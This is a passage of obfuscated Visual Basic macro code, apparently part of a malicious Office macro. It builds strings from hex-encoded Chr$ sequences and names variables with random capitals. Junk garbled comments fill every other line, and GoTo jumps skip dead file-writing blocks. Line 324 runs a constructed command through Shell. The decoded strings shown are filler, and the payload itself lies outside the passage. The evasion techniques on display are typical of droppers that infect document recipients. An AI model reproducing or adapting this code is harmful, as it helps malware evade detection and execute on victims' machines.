  302. BIMWGXDB = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(52) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  303. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  304. SFUVJPJP = LTrim(BIMWGXDB)
  305. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  306. PVPPGSXP = RTrim(SFUVJPJP)
  307. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  308.  
  309. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  310. SXDNHQPT = RTrim(LYXGBRWZ)
  311. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  312.  
  313. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  314. Dim MPNFUCHF, GQPBZZFH, PSLQWYQJ As String
  315. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  316. MPNFUCHF = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(53) & Chr$(52) & Chr$(67) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(57) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  317. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  318. GQPBZZFH = LTrim(MPNFUCHF)
  319. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  320. PSLQWYQJ = RTrim(GQPBZZFH)
  321. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  322.  
  323. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  324.    TKFRNZTFHUK = Shell(OSLEMFLVBSW, 1)
  325. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  326. Dim ZBTMQXCX, TPLGWMYH, LNVKNTKV As String
  327. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  328. Dim FGGRUAPT, LQXVMCAC, SADPQRJA As String
  329. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  330. FGGRUAPT = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(70) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(51) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(50) & Chr$(52) & Chr$(50) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  331. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  332. LQXVMCAC = LTrim(FGGRUAPT)
  333. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  334. SADPQRJA = RTrim(LQXVMCAC)
  335. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  336.  
  337. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  338. ZBTMQXCX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(50) & Chr$(52) & Chr$(57) & Chr$(53) & Chr$(65) & Chr$(53) & Chr$(54) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  339. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  340. Dim TUBBYSNH, MCTESCSV, OFPUJOCY As String
  341. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  342. TUBBYSNH = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(53) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  343. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  344. MCTESCSV = LTrim(TUBBYSNH)
  345. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  346. OFPUJOCY = RTrim(MCTESCSV)
  347. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  348.  
  349. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  350. TPLGWMYH = LTrim(ZBTMQXCX)
  351. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  352. Dim DIEVVYVZ, BFGAALZD, CVLGBWUQ As String
  353. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  354. DIEVVYVZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  355. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  356. BFGAALZD = LTrim(DIEVVYVZ)
  357. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  358. CVLGBWUQ = RTrim(BFGAALZD)
  359. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  360.  
  361. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  362. LNVKNTKV = RTrim(TPLGWMYH)
  363. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  364.  
  365. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  366. Dim WBKZHLSZ, KBZFQVOE, DNSBTZUR As String
  367. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  368. WBKZHLSZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(65) & Chr$(52) & Chr$(49) & Chr$(53) & Chr$(54) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  369. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  370. KBZFQVOE = LTrim(WBKZHLSZ)
  371. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  372. DNSBTZUR = RTrim(KBZFQVOE)
  373. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  374.  
  375. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  376.      
  377. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  378. End Function
  379. '??????????09? ?-4??3?-?3??4???????????????? ???4?4?????????? 3??3?4????????????????
  380. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  381. Sub ZFCAHVQGVAT()
  382. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  383. Dim IYVYGKJX, MSPOJTMU, YKXSLLCK As String
  384. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  385. Dim QPBFIDJA, GTUIWUOK, MAGEIZNP As String
  386. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  387.  
  388. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  389. GoTo FQFLznCe
  390. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  391. Dim OSVyxRmr As String
  392. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  393. Open "EUJXIT.BAL" For Binary As 37
  394. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  395. Put #37, , OSVyxRmr
  396. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  397. Close #37
  398. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  399. FQFLznCe:
  400. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  401.  
  402. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  403. QPBFIDJA = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(68) & Chr$(53) & Chr$(56) & Chr$(52) & Chr$(53) & Chr$(53) & Chr$(53) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  404. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  405.  
  406. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  407. GoTo ohOsDrCL
  408. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  409. Dim tjLciomM As String
  410. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  411. Open "DWGTAM.OHJ" For Binary As 73
  412. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  413. Put #73, , tjLciomM
  414. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  415. Close #73
  416. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  417. ohOsDrCL:
  418. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  419.  
  420. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  421. GTUIWUOK = LTrim(QPBFIDJA)
  422. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  423.  
  424. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  425. GoTo rLynyhnv
  426. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  427. Dim NMhDnmVb As String
  428. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  429. Open "QPNSPB.URZ" For Binary As 68
  430. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  431. Put #68, , NMhDnmVb
  432. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  433. Close #68
  434. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  435. rLynyhnv:
  436. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  437.  
  438. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  439. MAGEIZNP = RTrim(GTUIWUOK)
  440. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  441.  
  442. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  443. GoTo szKZfieE
  444. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  445. Dim uezFIdnR As String
  446. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  447. Open "FGLDFW.POW" For Binary As 71
  448. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  449. Put #71, , uezFIdnR
  450. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  451. Close #71
  452. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  453. szKZfieE:
  454. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  455.  
  456. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  457.  
  458. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  459.  
  460. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  461. GoTo wJgJQXmZ
  462. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  463. Dim kKvetNKE As String
  464. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  465. Open "LORMNG.HEU" For Binary As 98
  466. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  467. Put #98, , kKvetNKE
  468. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  469. Close #98
  470. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  471. wJgJQXmZ:
  472. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  473.  
  474. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  475. IYVYGKJX = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(52) & Chr$(55) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(52) & Chr$(52) & Chr$(69) & Chr$(53) & Chr$(55) & Chr$(53) & Chr$(49) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  476. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  477. Dim KIPYXPZN, MLBNYUSM, OORRQLCZ As String
  478. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  479.  
  480. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  481. GoTo RKFJjdKK
  482. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  483. Dim bKVeQkhL As String
  484. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  485. Open "JBDSAT.DLG" For Binary As 18
  486. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  487. Put #18, , bKVeQkhL
  488. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  489. Close #18
  490. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  491. RKFJjdKK:
  492. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  493.  
  494. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  495. KIPYXPZN = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(52) & Chr$(69) & Chr$(52) & Chr$(66) & Chr$(52) & Chr$(65) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  496. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  497.  
  498. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  499. GoTo gYQemIFU
  500. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  501. Dim qUWhGDsI As String
  502. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  503. Open "HRHAKO.SVK" For Binary As 86
  504. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  505. Put #86, , qUWhGDsI
  506. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  507. Close #86
  508. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  509. gYQemIFU:
